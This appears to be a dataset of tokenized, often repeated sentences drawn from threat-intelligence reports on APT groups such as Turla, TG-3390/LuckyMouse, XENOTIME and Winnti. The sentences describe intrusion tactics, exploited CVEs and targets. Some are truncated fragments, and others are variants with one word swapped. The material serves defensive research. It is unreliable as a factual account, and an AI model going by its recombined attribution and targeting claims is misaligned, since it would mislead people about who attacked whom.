There is often a singular focus from the security community on ICS malware largely due to its novel nature and the fact that there are very few examples found in the wild .
ЦНИИХМ ) , a Russian government-owned technical research institution located in Moscow .
In this blog post we provide additional information linking TEMP.Veles and their activity surrounding the TRITON intrusion to a Russian government-owned research institute .
Analysis of these cryptcat binaries indicates that the actor continually modified them to decrease AV detection rates .
TEMP.Veles' lateral movement activities used a publicly-available PowerShell-based tool , WMImplant .
On multiple dates in 2017 , TEMP.Veles struggled to execute this utility on multiple victim systems , potentially due to AV detection .
Custom payloads utilized by TEMP.Veles in investigations conducted by Mandiant are typically weaponized versions of legitimate open-source software , retrofitted with code used for command and control .
We identified file creation times for numerous files that TEMP.Veles created during lateral movement on a target 's network .
Adversary behavioral artifacts further suggest the TEMP.Veles operators are based in Moscow , lending some further support to the scenario that CNIIHM , a Russian research organization in Moscow , has been involved in TEMP.Veles activity .
XENOTIME is easily the most dangerous threat activity publicly known .
CNIIHM 's characteristics are consistent with what we might expect of an organization responsible for TEMP.Veles activity .
Dragos identified several compromises of ICS vendors and manufacturers in 2018 by activity associated with XENOTIME , providing potential supply chain threat opportunities and vendor-enabled access to asset owner and operator ICS networks .
XENOTIME rose to prominence in December 2017 when Dragos and FireEye jointly published details of TRISIS destructive malware targeting Schneider Electric 's Triconex safety instrumented system .
Targeting a safety system indicates significant damage and loss of human life were either intentional or acceptable goals of the attack , a consequence not seen in previous disruptive attacks such as the 2016 CRASHOVERRIDE malware that caused a power loss in Ukraine .
XENOTIME used credential capture and replay to move between networks , Windows commands , standard command-line tools such as PSExec , and proprietary tools for operations on victim hosts .
XENOTIME configured TRISIS based on the specifics and functions of the Triconex system within the industrial control ( ICS ) environment .
Dragos' data indicates XENOTIME remains active .
TEMP.Veles created a custom malware framework and tailormade credential gathering tools , but an apparent misconfiguration prevented the attack from executing properly .
Furthermore , Dragos' analysis of the TRISIS event continues as we recover additional data surrounding the incident .
XENOTIME operates globally , impacting regions far outside of the Middle East , their initial target .
Intelligence suggests the group has been active since at least 2014 and is presently operating in multiple facilities targeting safety systems beyond Triconex .
Dragos instead focuses on threat behaviors and appropriate detection and response .
Dragos assesses with moderate confidence that XENOTIME intends to establish required access and capability to cause a potential , future disruptive—or even destructive—event .
However , full details on XENOTIME and other group tools , techniques , procedures , and infrastructure is available to network defenders via Dragos WorldView .
This seems confusing as FireEye earlier publicly declared the TRITON as a discrete entity , linked to a Russian research institution , and christened it as " TEMP.Veles " .
This seems confusing as FireEye earlier publicly declared the " TRITON actor " as a discrete entity , linked to a Russian research institution , and christened it as " TEMP.Veles " .
Meanwhile , parallel work at Dragos ( my employer , where I have performed significant work on the activity described above ) uncovered similar conclusions concerning TTPs and behaviors , for both the 2017 event and subsequent activity in other industrial sectors .
FireEye recently published a blog covering the tactics , techniques , and procedures ( TTPs ) for the " TRITON actor " when preparing to deploy the TRITON/TRISIS malware framework in 2017 .
Based on information gained from discussion with the initial TRITON/TRISIS responders and subsequent work on follow-on activity by this entity , Dragos developed a comprehensive ( public ) picture of adversary activity roughly matching FireEye 's analysis published in April 2019 , described in various media .
Since late 2018 , based upon the most-recent posting , FireEye appears to have " walked back " the previously-used terminology of TEMP.Veles and instead refers rather cryptically to the " TRITON actor " , while Dragos leveraged identified behaviors to consistently refer to an activity group , XENOTIME .
Dragos leveraged identified behaviors to consistently refer to an activity group , XENOTIME .
Aside from the competitive vendor naming landscape ( which I am not a fan of in cases on direct overlap , but which has more to say for itself when different methodologies are employed around similar observations ) , the distinction between FireEye and Dragos' approaches with respect to the " TRITON actor " comes down to fundamental philosophical differences in methodology .
In the 2018 public posting announcing TEMP.Veles , FireEye researchers noted that the institute in question at least supported TEMP.Veles activity in deploying TRITON .
My understanding is FireEye labels entities where definitive attribution is not yet possible with the " TEMP " moniker ( hence , TEMP.Veles ) – yet in this case FireEye developed and deployed the label , then appeared to move away from it in subsequent reporting .
In comparison , XENOTIME was defined based on principles of infrastructure ( compromised third-party infrastructure and various networks associated with several Russian research institutions ) , capabilities ( publicly- and commercially-available tools with varying levels of customization ) and targeting ( an issue not meant for discussion in this blog ) .
Of note , this methodology of naming abstracts away the " who " element – XENOTIME may represent a single discrete entity ( such as a Russian research institution ) or several entities working in coordination in a roughly repeatable , similar manner across multiple events .
Much like the observers watching the shadows of objects cast upon the wall of the cave , these two definitions ( XENOTIME and TEMP.Veles , both presumably referring to " the TRITON actor " ) describe the same phenomena , yet at the same time appear different .
To better understand how the adversary was operating and what other actions they had performed , CTU researchers examined cmd.exe and its supporting processes to uncover additional command line artifacts .
CTU researchers assess with high confidence that threat groups like Threat Group-1314 will continue to live off of the land to avoid detection and conduct their operations .
Analysis of TG-3390 's operations , targeting , and tools led CTU researchers to assess with moderate confidence the group is located in the People's Republic of China .
The threat actors target a wide range of organizations : CTU researchers have observed TG-3390 actors obtaining confidential data on defense manufacturing projects , but also targeting other industry verticals and attacking organizations involved in international relations .
In comparison to other threat groups , TG-3390 is notable for its tendency to compromise Microsoft Exchange servers using a custom backdoor and credential logger .
CTU researchers have evidence that the TG-3390 compromised U.S and UK organizations in the following verticals : manufacturing ( specifically aerospace ( including defense contractors ) , automotive , technology , energy , and pharmaceuticals ) , education , and legal , as well as organizations focused on international relations .
Based on analysis of the group 's SWCs , TG-3390 operations likely affect organizations in other countries and verticals .
TG-3390 operates a broad and long-running campaign of SWCs and has compromised approximately 100 websites as of this publication .
CTU researchers have evidence that the threat group compromised U.S and UK organizations in the following verticals : manufacturing ( specifically aerospace ( including defense contractors ) , automotive , technology , energy , and pharmaceuticals ) , education , and legal , as well as organizations focused on international relations .
Like many threat groups , TG-3390 conducts strategic web compromises ( SWCs ) , also known as watering hole attacks , on websites associated with the target organization 's vertical or demographic to increase the likelihood of finding victims with relevant information .
Through an IP address whitelisting process , the threat group selectively targets visitors to these websites .
After the initial compromise , TG-3390 delivers the HTTPBrowser backdoor to its victims .
CTU researchers assess with high confidence that TG-3390 uses information gathered from prior reconnaissance activities to selectively compromise users who visit websites under its control .
TG-3390 uses the PlugX remote access tool .
The SWC of a Uyghur cultural website suggests intent to target the Uyghur ethnic group , a Muslim minority group primarily found in the Xinjiang region of China .
The threat actors have used the Baidu search engine , which is only available in Chinese , to conduct reconnaissance activities .
Recently , CTU researchers responded to an intrusion perpetrated by Threat Group-1314 , one of numerous threat groups that employ the " living off the land " technique to conduct their intrusions .
CTU researchers have observed the Threat Group-3390 obtaining information about specific U.S. defense projects that would be desirable to those operating within a country with a manufacturing base , an interest in U.S. military capability , or both .
CTU researchers have observed the threat group obtaining information about specific U.S. defense projects that would be desirable to those operating within a country with a manufacturing base , an interest in U.S. military capability , or both .
TG-3390 can quickly leverage compromised network infrastructure during an operation and can conduct simultaneous intrusions into multiple environments .
Malware used by the threat group can be configured to bypass network-based detection ; however , the threat actors rarely modify host-based configuration settings when deploying payloads .
TG-3390 uses older exploits to compromise targets , and CTU researchers have not observed the threat actors using zero-day exploits as of this publication .
In addition to using SWCs to target specific types of organizations , TG-3390 uses spearphishing emails to target specific victims .
After gaining access to a target network in one intrusion analyzed by CTU researchers , TG-3390 actors identified and exfiltrated data for specific projects run by the target organization , indicating that they successfully obtained the information they sought .
Based on this information , CTU researchers assess that TG-3390 aims to collect defense technology and capability intelligence , other industrial intelligence , and political intelligence from governments and NGOs .
Incident response engagements have given CTU researchers insight into the tactics TG-3390 employs during intrusions .
CTU researchers have not observed TG-3390 actors performing reconnaissance prior to compromising organizations .
CTU researchers have observed the threat actors installing a credential logger and backdoor on Microsoft Exchange servers , which requires a technical grasp of Internet Information Services ( IIS ) .
TG-3390 is capable of using a C2 infrastructure that spans multiple networks and registrars .
TG-3390 SWCs may be largely geographically independent , but the group 's most frequently used C2 registrars and IP net blocks are located in the U.S .
Using a U.S.-based C2 infrastructure ( see Figure 7 ) to compromise targets in the U.S. helps TG-3390 actors avoid geo-blocking and geo-flagging measures used in network defense .
The threat actors create PlugX DLL stub loaders that will run only after a specific date .
The compile dates of the samples analyzed by CTU researchers are all later than the hard-coded August 8 , 2013 date , indicating that the code might be reused from previous tools .
One archive sample analyzed by CTU researchers contained a legitimate PDF file , a benign image of interest to targets ( see Figure 8 ) , and an HTTPBrowser installer disguised as an image file .
CTU researchers have observed TG-3390 activity between 04:00 and 09:00 UTC , which is 12:00 to 17:00 local time in China ( UTC +8 ) .
TG-3390 sends spearphishing emails with ZIP archive attachments .
CTU researchers have observed TG-3390 compromising a target organization 's externally and internally accessible assets , such as an OWA server , and adding redirect code to point internal users to an external website that hosts an exploit and delivers malware .
TG-3390 actors have used Java exploits in their SWCs .
In particular , TG-3390 has exploited CVE-2011-3544 , a vulnerability in the Java Runtime Environment , to deliver the HTTPBrowser backdoor ; and CVE-2010-0738 , a vulnerability in JBoss , to compromise internally and externally accessible assets used to redirect users' web browsers to exploit code .
In activity analyzed by CTU researchers , TG-3390 executed the Hunter web application scanning tool against a target server running IIS .
In particular , the threat actors have exploited CVE-2011-3544 , a vulnerability in the Java Runtime Environment , to deliver the HTTPBrowser backdoor ; and CVE-2010-0738 , a vulnerability in JBoss , to compromise internally and externally accessible assets used to redirect users' web browsers to exploit code .
TG-3390 uses DLL side loading , a technique that involves running a legitimate , typically digitally signed , program that loads a malicious DLL .
CTU researchers have observed the Threat Group-3390 employing legitimate Kaspersky antivirus variants in analyzed samples .
The adversaries have used this technique to allow PlugX and HTTPBrowser to persist on a system .
CTU researchers have observed the TG-3390 employing legitimate Kaspersky antivirus variants in analyzed samples .
TG-3390 actors have deployed the OwaAuth web shell to Exchange servers , disguising it as an ISAPI filter .
In other cases , threat actors placed web shells on externally accessible servers , sometimes behind a reverse proxy , to execute commands on the compromised system .
CTU researchers have discovered numerous details about TG-3390 operations , including how the adversaries explore a network , move laterally , and exfiltrate data .
When the adversaries' operations are live , they modify the record again to point the C2 domain to an IP address they can access .
They then identify the Exchange server and attempt to install the OwaAuth web shell .
If the OwaAuth web shell is ineffective because the victim uses two-factor authentication for webmail , TG-3390 identify other externally accessible servers and deploy ChinaChopper web shells .
After compromising an initial victim 's system ( patient 0 ) , the threat actors use the Baidu search engine to search for the victim 's organization name .
CTU researchers discovered the threat actors searching for " [company] login " , which directed them to the landing page for remote access .
TG-3390 actors keep track of and leverage existing ASPXTool web shells in their operations , preferring to issue commands via an internally accessible web shell rather than HTTPBrowser or PlugX .
Within six hours of entering the environment , the threat actors compromised multiple systems and stole credentials for the entire domain .
Despite multiple public disclosures of their activities , BRONZE UNION remains an active and formidable threat as of this publication .
In 2015 , the SecureWorks® Counter Threat Unit™ ( CTU ) research team documented the BRONZE UNION threat group ( formerly labeled TG-3390 ) , which CTU™ analysis suggests is based in the People's Republic of China ( PRC ) .
After reestablishing access , the adversaries download tools such as gsecudmp and WCE that are staged temporarily on websites that TG-3390 previously compromised but never used .
In 2015 , the SecureWorks documented the BRONZE UNION threat group ( formerly labeled TG-3390 ) , which CTU analysis suggests is based in the People's Republic of China ( PRC ) .
BRONZE UNION threat campaigns that illustrate the evolution of the group 's methods and espionage objectives .
Based on BRONZE UNION 's targeting activity , CTU researchers assess it is highly likely that the group focuses on political and defense organization networks .
this SWC was used to specifically target Turkish .
In 2016 , the threat actors conducted a strategic web compromise ( SWC ) on the website of an international industry organization that affected aerospace , academic , media , technology , government , and utilities organizations around the world .
In addition , BRONZE UNION activity on multiple U.S.-based defense manufacturer networks included the threat actors seeking information associated with aerospace technologies , combat processes , and naval defense systems .
this SWC was used to specifically target Turkish goverment .
Since that analysis , CTU researchers have observed multiple BRONZE UNION threat campaigns that illustrate the evolution of the group 's methods and espionage objectives .
this SWC was used to specifically target Turkish banking .
this SWC was used to specifically target Turkish academic networks .
BRONZE UNION has consistently demonstrated the capability to conduct successful large-scale intrusions against high-profile networks and systems .
The threat actors appear to be able to create and leverage multiple SWCs in parallel .
In a separate incident , CTU researchers identified a file named s.txt , which is consistent with the output of the Netview host-enumeration tool .
BRONZE UNION actors leveraged initial web shell access on Internet-facing systems to conduct internal reconnaissance .
BRONZE UNION appears to use a combination of self-registered IP addresses and commercial VPN services in its command and control ( C2 ) and operational infrastructure .
This script relays commands and output between the controller and the system .
The threat actors used the appcmd command-line tool to unlock and disable the default logging component on the server ( systsm.webServer/httplogging ) and then delete existing logs from the system ( see Figure 4 ) .
In 2016 , CTU researchers observed the group using native system .
In March 2018 we detected an ongoing campaign .
TG-3390 's activities indicate a preference for leveraging SWCs and scan-and-exploit techniques to compromise target systems .
As of this publication , BRONZE UNION remains a formidable threat group that targets intellectual property and executes its operations at a swift pace .
we detected an ongoing campaign targeting a national data center .
The operators used the HyperBro Trojan as their last-stage in-memory remote administration tool ( RAT ) .
we detected an ongoing campaign targeting a national data center in the Centeral Asia .
The tools found in this campaign , such as the HyperBro Trojan , are regularly used by a variety of Chinese-speaking actors .
Due to tools and tactics in use we attribute the campaign to LuckyMouse Chinese-speaking actor ( also known as EmissaryPanda and APT27 ) .
It's possible TG-3390 used a waterhole to infect data center employees .
Even when we observed LuckyMouse using weaponized documents with CVE-2017-11882 ( Microsoft Office Equation Editor , widely used by Chinese-speaking actors since December 2017 ) , we can′t prove they were related to this particular attack .
We suspect this router was hacked as part of the campaign in order to process the malware 's HTTP requests .
In March 2017 , Wikileaks published details about an exploit affecting Mikrotik called ChimayRed .
There were traces of HyperBro in the infected data center from mid-November 2017 .
In March 2017 , Wikileaks published details about an exploit affecting Mikrotik called ChimayRed .
This is a hacking group with Chinese origins which targets selected organisations related with education , energy and technology .
Usually , the delivered payload is either the well-known ' PlugX ' or ' HTTPBrowser ' RAT , a tool which is believed to have Chinese origins and to be used only by certain Chinese hacking groups .
Emissary Panda has used many ways with the most notable being the exploits from the Hacking Team leak .
Emissary Panda is still active and continues to target selected organisations .
Cybersecurity researchers have uncovered an espionage campaign that has targeted a national data center of an unnamed central Asian country in order to conduct watering hole attacks .
The campaign is believed to be active covertly since fall 2017 .
LuckyMouse , also known as Iron Tiger , EmissaryPanda , APT 27 and Threat Group-3390 , is the same group of Chinese hackers who was found targeting Asian countries with Bitcoin mining malware early this year .
March by security researchers from Kaspersky Labs .
For example , at the end of 2016 CTU researchers observed the threat actors using native system functionality to disable logging processes and delete logs within a network .
The group has been active since at least 2010 and was behind many previous attack campaigns resulting in the theft of massive amounts of data from the directors and managers of US-based defense contractors .
attacks to a Chinese-speaking threat actor group called LuckyMouse .
LuckyMouse has been spotted using a widely used Microsoft Office vulnerability ( CVE-2017-11882 ) .
This time the group chose a national data center as its target from an unnamed country in Central Asia in an attempt to gain " access to a wide range of government resources at one fell swoop " .
The initial attack vector used in the attack against the data center is unclear , but researchers believe LuckyMouse possibly had conducted watering hole or phishing attacks to compromise accounts belonging to employees at the national data center .
According to the researchers , the group injected malicious JavaScript code into the official government websites associated with the data center in order to conduct watering hole attacks .
the targeted system with a piece of malware called HyperBro , a Remote Access Trojan ( RAT ) .
The main command and control ( C&C ) server used in this attack is hosted on an IP address which belongs to a Ukrainian ISP , specifically to a MikroTik router running a firmware version released in March 2016 .
the targets of the hacking group were in the automotive .
Dell SecureWorks researchers unveiled a report on Threat Group-3390 that has targeted companies around the world while stealing massive amounts of industrial data .
The group , believed to be based in China , has also targeted defense contractors , colleges and universities , law firms , and political organizations — including organizations related to Chinese minority ethnic groups .
LAS VEGAS—Today at the Black Hat information security conference , Dell SecureWorks researchers unveiled a report on a newly detected hacking group that has targeted companies around the world while stealing massive amounts of industrial data .
Designated as Threat Group 3390 and nicknamed " Emissary Panda " by researchers , the hacking group has compromised victims' networks largely through " watering hole " attacks launched from over 100 compromised legitimate websites , sites picked because they were known to be frequented by those targeted in the attack .
the United Kingdom had data stolen by members of Emissary Panda .
the US had data stolen by members of Emissary Panda .
No zero-day vulnerabilities were used to breach targeted networks , instead " TG-3390 relied on old vulnerabilities such as CVE-2011-3544 " — a near-year-old Java security hole — " and CVE-2010-0738 to compromise their targets " , Dell SecureWorks' researchers reported .
The group used a number of tools common to other Chinese hacking groups , but they had a few unique tools of their own with interfaces developed for Standard ( Simplified ) Chinese .
If the address falls within ranges that the attackers are interested in , the malicious site waits for their next page view to drop an exploit on the desirable target 's PC .
Visitors to sites exploited by Emissary Panda are directed by code embedded in the sites to a malicious webpage , which screens their IP address .
There has also been at least one victim targeted by a spear-phishing attack .
A variety of malware , including the PlugX tool , was shared with other known Chinese threat groups .
Once inside networks , the group generally targeted Windows network domain controllers and Exchange e-mail servers , targeting user credentials to allow them to move to other systems throughout the targeted network .
They used an exploit of Internet Information Server to inject keylogger and backdoor malware onto the Exchange server .
But two tools used were unique to the group : ASPXTool , an Internet Information Services ( IIS ) specific " Web shell " used to gain access to servers inside a target 's network ; and the OwaAuth credential stealing tool and Web shell , used to attack Microsoft Exchange servers running the Web Outlook interface .
By using such features and tools , attackers are hoping to blend in on the victim 's network and hide their activity in a sea of legitimate processes .
TAA leverages advanced artificial intelligence and machine learning that combs through Symantec 's data lake of telemetry in order to spot patterns associated with targeted attacks .
January 2018 , TAA triggered an alert at a large telecoms operator in Southeast Asia .
Thrip was using PsExec to move laterally between computers on the company 's network .
TAA triggered an alert at a large telecoms operator in Southeast Asia .
AA triggered an alert at a large telecoms operator in Southeast Asia .
PsExec is a Microsoft Sysinternals tool for executing processes on other systems and is one of the most frequently seen legitimate pieces of software used by attackers attempting to live off the land .
TAA not only flagged this malicious use of PsExec , it also told us what the attackers were using it for .
Thrip was attempting to remotely install a previously unknown piece of malware ( Infostealer.Catchamas ) on computers within the victim 's network .
three computers in China being used to launch the Thrip attacks .
Perhaps the most worrying discovery we made was that Thrip had targeted a satellite communications operator .
Thrip seemed to be mainly interested in the operational side of the company .
This suggests to us that Thrip 's motives go beyond spying and may also include disruption .
Armed with this information about the malware and living off the land tactics being used by this group of attackers whom we named Thrip , we broadened our search to see if we could find similar patterns that indicated Thrip had been targeting other organizations .
The group had also targeted three different telecoms operators , all based in Southeast Asia .
In all cases , based on the nature of the computers infected by Thrip , it appeared that the telecoms companies themselves and not their customers were the targets of these attacks .
Catchamas is a custom Trojan designed to steal information from an infected computer and contains additional features designed to avoid detection .
Many of the tools they use now feature new behaviors , including a change in the way they maintain a foothold in the targeted network .
Execute a command through exploits for CVE-2017-11882 .
Execute a command through exploits for CVE-2018-0802 .
The backdoor will load the encrypted configuration file and decrypt it , then use Secure Sockets Layer ( SSL ) protocol to connect to command-and-control ( C&C ) servers .
TClient is actually one of Tropic Trooper 's other backdoors .
The malicious loader will use dynamic-link library ( DLL ) hijacking — injecting malicious code into a process of a file/application — on sidebar.exe and launch dllhost.exe ( a normal file ) .
TClient , for instance , uses DLL hijacking and injection that may not be as noticeable to others .
The backdoor noted by other security researchers was encoded with different algorithms and configured with different parameter names in 2016 , for instance .
Taiwan has been a regular target of cyber espionage threat actors for a number of years .
In early August , Unit 42 identified two attacks using similar techniques .
which has been active since at least 2011 .
One of the attacks used Tropic Trooper 's known Yahoyah malware , but the other attack deployed the widely available Poison Ivy RAT .
This confirms the actors are using Poison Ivy as part of their toolkit , something speculated in the original Trend Micro report but not confirmed by them .
The document attached to this e-mail exploits CVE-2012-0158 .
As we have noted in many earlier reports , attackers commonly use decoy files to trick victims into thinking a malicious document is actually legitimate .
Further analysis uncovered a handful of ties indicating the actors may also be using the PCShare malware family , which has not been previously tied to the group .
This matches with known Tactics , Techniques , and Procedures ( TTPs ) for Tropic Trooper , targeting both government institutions and also the energy industry in Taiwan .
Tropic Trooper is also still exploiting CVE-2012-0158 , as are many threat actors .
The Tropic Trooper threat actor group has been known to target governments and organizations in the Asia Pacific region for at least six years .
Turla is a notorious group that has been targeting governments .
Turla is known to run watering hole and spearphishing campaigns to better pinpoint their targets .
Turla is a notorious group that has been targeting government officials .
The documents attached to spear-phishing e-mails used in both attacks contain code that exploits CVE-2012-0158 , which despite its age remains one of the most common Microsoft Word vulnerabilities being exploited by multiple threat actors .
Turla is a notorious group that has been targeting diplomats .
The codename for Turla APT group in this presentation is MAKERSMARK .
The Intercept reported that there exists a 2011 presentation by Canada 's Communication Security Establishment ( CSE ) outlining the errors made by the Turla operators during their operations even though the tools they use are quite advanced .
The witnessed techniques , tactics and procedures ( TTPs ) are in-line with what we usuallysee in Turla 's operation : a first stage backdoor , such as Skipper , likely delivered through spearphishing followed by the appearance on the compromised system of a second stage backdoor , Gazerin this case .
Southeastern Europe as well as countries in the former Soviet Union Republichas recently been the main target .
Finally , there are many similarities between Gazer and other second stage backdoors used by the Turla group such as Carbon and Kazuar .
Skipper , which has been linked to Turla in the past , was found alongside Gazer in most cases we investigated .
Turla APT group makes an extra effort to avoid detection by wiping files securely , changing the strings and randomizing what could be simple markers through the different backdoor versions .
The attackers behind Epic Turla have infected several hundred computers in more than 45 countries , including government institutions .
Turla all uses an encrypted container to store the malware 's components and configuration and they also log their actions in a file .
Over the last 10 months , Kaspersky Lab researchers have analyzed a massive cyber-espionage operation which we call " Epic Turla " .
We also observed exploits against older ( patched ) vulnerabilities , social engineering techniques and watering hole strategies in these attacks .
The attackers behind Epic Turla have infected several hundred computers in more than 45 countries , including embassies .
The attackers behind Epic Turla have infected several hundred computers in more than 45 countries , including military .
The attackers behind Epic Turla have infected several hundred computers in more than 45 countries , including education .
When G-Data published on Turla/Uroburos back in February , several questions remained unanswered .
The attackers behind Epic Turla have infected several hundred computers in more than 45 countries , including research and pharmaceutical companies .
The primary backdoor used in the Epic attacks is also known as " WorldCupSec " , " TadjMakhal " , " Wipbot " or " Tavdig " .
Thrip 's motive is likely espionage and its targets include those in the communications , geospatial imaging , and defense sectors , both in the United States and Southeast Asia .
One big unknown was the infection vector for Turla ( aka Snake or Uroburos ) .
The mothership server is generally a VPS , which runs the Control panel software used to interact with the victims .
the backdoor is packaged together with the CVE-2013-5065 EoP exploit and heavily obfuscated .
Once a victim is confirmed as " interesting " , the attackers upload another Epic backdoor which has a unique ID used to control this specific victim .
Our analysis indicates this is a sophisticated multi-stage infection ; which begins with Epic Turla .
this attack against a Kaspersky Lab user on August 5 , 2014 .
VENOMOUS BEAR is an advanced , Russia-based adversary that's been active since at least 2004 .
Venomous Bear has deployed malware to targets using several novel methods .
For years , Turla has relied , among other impersonations , on fake Flash installers to compromise victims .
Turla merely uses the Adobe brand to trick users into downloading the malware .
By looking at our telemetry , we found evidence that Turla installers were exfiltrating information to get.adobe.com URLs since at least July 2016 .
Thus , it is clear they are trying to be as stealthy as possible by hiding in the network traffic of the targeted organizations .
Finally , some of the victims are also infected with other Turla-related malware such as ComRAT or Gazer .
Kaspersky Lab documented this behavior in 2014 .
It is not a new tactic for Turla to rely on fake Flash installers to try to trick the user to install one of their backdoors .
Turla operators could use an already-compromised machine in the network of the victim 's organization to perform a local MitM attack .
Our January 2018 white paper was the first public analysis of a Turla campaign called Mosquito .
It is not the first time Turla has used generic tools .
In the past , we have seen the group using open-source password dumpers such as Mimikatz .
Starting in March 2018 , we observed a significant change in the campaign : it now leverages the open source exploitation framework Metasploit before dropping the custom Mosquito backdoor .
Even an experienced user can be fooled by downloading a malicious file that is apparently from adobe.com , since the URL and the IP address correspond to Adobe 's legitimate infrastructure .
However , to our knowledge , this is the first time Turla has used Metasploit as a first stage backdoor , instead of relying on one of its own tools such as Skipper .
Traffic was intercepted on a node between the end machine and the Adobe servers , allowing Turla 's operators to replace the legitimate Flash executable with a trojanized version .
At the beginning of March 2018 , as part of our regular tracking of Turla 's activities , we observed some changes in the Mosquito campaign .
In this post , we have presented the evolutions of the Turla Mosquito campaign over the last few months .
Primary targets for this adversary are in the government , aerospace , NGO , defense , cryptology and education sectors .
Turla 's campaign still relies on a fake Flash installer but , instead of directly dropping the two malicious DLLs , it executes a Metasploit shellcode and drops , or downloads from Google Drive , a legitimate Flash installer .
The Turla espionage group has been targeting various institutions for many years .
Recently , we found several new versions of Carbon , a second stage backdoor in the Turla group arsenal .
The Turla group is known to be painstaking and work in stages , first doing reconnaissance on their victims' systems before deploying their most sophisticated tools such as Carbon .
Kaspersky APT Intelligence Reporting subscription , customers received an update in mid-February 2017 .
Like previous Turla activity , WhiteBear leverages compromised websites and hijacked satellite connections for command and control ( C2 ) infrastructure .
WhiteBear is a parallel project or second stage of the Skipper Turla cluster of activity documented in another private intelligence report " Skipper Turla – the White Atlas framework " from mid-2016 .
However , despite the similarities to previous Turla campaigns , we believe that WhiteBear is a distinct project with a separate focus .
From February to September 2016 , WhiteBear activity was narrowly focused on embassies and consular operations around the world .
Continued WhiteBear activity later shifted to include defense-related organizations into June 2017 .
All of these early WhiteBear targets were related to embassies and diplomatic/foreign affair organizations .
Thus , Turla operators had access to some highly sensitive information ( such as emails sent by the German Foreign Office staff ) for almost a year .
Our investigation also led to the discovery of dozens of email addresses registered by Turla operators for this campaign and used to receive exfiltrated data from the victims .
It mainly targets Microsoft Outlook , a widely used mail client , but also targets The Bat! , a mail client very popular in Eastern Europe .
First , Turla steals emails by forwarding all outgoing emails to the attackers .
We identified several European governments and defense companies compromised with this group .
What actually happens is that the malware is able to decode data from the PDF documents and interpret it as commands for the backdoor .
In early 2018 , multiple media claimed that Turla operators used mail attachments to control infected machines .
As detailed in the previous section , this malware is able to manipulate and exfiltrate emails .
To our knowledge , Turla is the only espionage group that currently uses a backdoor entirely controlled by emails , and more specifically via PDF attachments .
The attackers first infected in March 2017 .
Our research shows that compromised organizations are at risk of not only being spied on by the Turla group who planted the backdoor , but also by other attackers .
The developers refer to this tool by the name Kazuar , which is a Trojan written using the Microsoft.NET Framework that offers actors complete access to compromised systems targeted by its operator .
We suspect the Kazuar tool may be linked to the Turla threat actor group ( also known as Uroburos and Snake ) , who have been reported to have compromised embassies , defense contractors , educational institutions , and research organizations across the globe .
This is also a full-featured backdoor controlled by email , and which can work independently of any other Turla component .
A hallmark of Turla operations is iterations of their tools and code lineage in Kazuar can be traced back to at least 2005 .
If the hypothesis is correct and the Turla threat group is using Kazuar , we believe they may be using it as a replacement for Carbon and its derivatives .
We used a combination of tools such as NoFuserEx , ConfuserEx Fixer , ConfuserEx Switch Killer , and de4d0t in order to deobfuscate the code for in depth analysis .
Kazuar generates its mutex by using a process that begins with obtaining the MD5 hash of a string " [username]=>singleton-instance-mutex " .
The subject is a series of targeted attacks against private companies .
e uncovered the activity of a hacking group which has Chinese origins .
Also , by creating this type of API access , Turla could use one accessible server as a single point to dump data to and exfiltrate data from .
According to our estimations , this group has been active for several years and specializes in cyberattacks against the online video game industry .
Based on our analysis , we believe that threat actors may compile Windows and Unix based payloads using the same code to deploy Kazuar against both platforms .
The group 's main objective is to steal source codes .
In 2010 HBGary investigated an information security incident related to the Winnti group at one of HBGary 's customers – an American video game company .
In 2010 US-based HBGary investigated an information security incident related to the Winnti group at one of HBGary 's customers – an American video game company .
For a long time the Winnti group had been considered as a Chinese threat actor targeting gaming companies specifically .
In April Novetta released its excellent report on the Winnti malware spotted in the operations of Axiom group .
The Axiom group has been presented as an advanced Chinese threat actor carrying out cyber-espionage attacks against a whole range of different industries .
this library includes two drivers compiled on August 22 and September 4 , 2014 .
Also our visibility as a vendor does not cover every company in the world ( at least so far ; ) ) and the Kaspersky Security Network ( KSN ) did not reveal other attacks except those against gaming companies .
Conversely , LokiBot and Agent Tesla are new malware tools .
Based on multiple active compromises by the Axiom threat group , Novetta was able to capture and analyze new Winnti malware samples .
Initial attack targets are commonly software and gaming organizations in United States , Japan , South Korea , and China .
Initial attack targets are commonly software and gaming organizations in United States , Japan , South Korea , and China .
The samples Novetta obtained from the active Axiom infection were compiled in mid- to late 2014 and represent what Novetta is referring to as version 3.0 of the Winnti lineage .
We assess with high confidence that the Winnti umbrella is associated with the Chinese state intelligence apparatus , with at least some elements located in the Xicheng District of Beijing .
The Winnti umbrella continues to operate highly successfully in 2018 .
The Winnti umbrella and closely associated entities has been active since at least 2009 .
The Winnti and Axiom group names were created by Kaspersky Lab and Symantec , respectively , for their 2013/2014 reports on the original group .
Their operations against gaming and technology organizations are believed to be economically motivated in nature .
However , based on the findings shared in this report we assess with high confidence that the actor 's primary long-term mission is politically focused .
The Winnti umbrella and linked groups' initial targets are gaming studios and high tech businesses .
During the same time period , we also observed the actor using the Browser Exploitation Framework ( BeEF ) to compromise victim hosts and download Cobalt Strike .
In this campaign , the attackers experimented with publicly available tooling for attack operations .
The primary goal of these attacks was likely to find code-signing certificates for signing future malware .
The Chinese intelligence apparatus has been reported on under many names , including Winnti , PassCV , APT17 , Axiom , LEAD , BARIUM , Wicked Panda , and GREF .
The attackers behind observed activity in 2018 operate from the Xicheng District of Beijing via the net block 221.216.0.0/13 .
ALLANITE activity closely resembles Palmetto Fusion described by the US Department of Homeland Security ( DHS ) .
ALLANITE activity closely resembles Palmetto Fusion described by the US Department of Homeland Security .
ALLANITE uses email phishing campaigns and compromised websites called watering holes to steal credentials and gain access to target networks , including collecting and distributing screenshots of industrial control systems .
In October 2017 , a DHS advisory documented ALLANITE technical operations combined with activity with a group Symantec calls Dragonfly ( which Dragos associates with DYMALLOY ) .
In October 2017 , a DHS advisory documented ALLANITE technical operations combined with activity with a group .
We assess with high confidence that the attackers discussed here are associated with the Chinese state intelligence apparatus .
ALLANITE operations limit themselves to information gathering and have not demonstrated any disruptive or damaging capabilities .
In October 2017 , a DHS advisory documented ALLANITE technical operations combined with activity with a group Symantec calls Dragonfly .
Public disclosure by third-parties , including the DHS , associate ALLANITE operations with Russian strategic interests .
ALLANITE conducts malware-less operations primarily leveraging legitimate and available tools in the Windows operating system .
Dragos does not publicly describe ICS activity group technical details except in extraordinary circumstances in order to limit tradecraft proliferation .
However , full details on ALLANITE and other group tools , techniques , procedures , and infrastructure is available to network defenders via Dragos WorldView .
In addition to maritime operations in this region , Anchor Panda also heavily targeted western companies in the US , Germany , Sweden , the UK , and Australia , and other countries involved in maritime satellite systems , aerospace companies , and defense contractors .
